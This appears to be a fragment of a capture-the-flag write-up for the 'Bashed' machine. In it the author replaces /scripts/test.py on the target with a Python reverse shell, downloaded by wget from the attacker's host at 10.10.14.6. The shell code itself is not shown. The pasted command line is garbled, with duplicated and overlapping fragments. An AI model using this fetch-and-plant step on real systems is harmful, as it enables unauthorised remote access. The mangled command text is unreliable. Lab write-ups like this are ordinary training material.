File Write

I just created a simple reverse shell in Python. This will replace the file /scripts/test.py 

scriptmanager@bashed:/scripts$ rm test.py ; wget http://10.10.14.rm test.py ; wget http://10.10.14.6:8000/test.py ; chmod 777 test.py
; chmod 777 test.pyttp://10.10.14.6:8000/test.py  
--2023-01-13 15:11:31--  http://10.10.14.6:8000/test.py

I removed the original file and replaced it by downloading the Python reverse shell
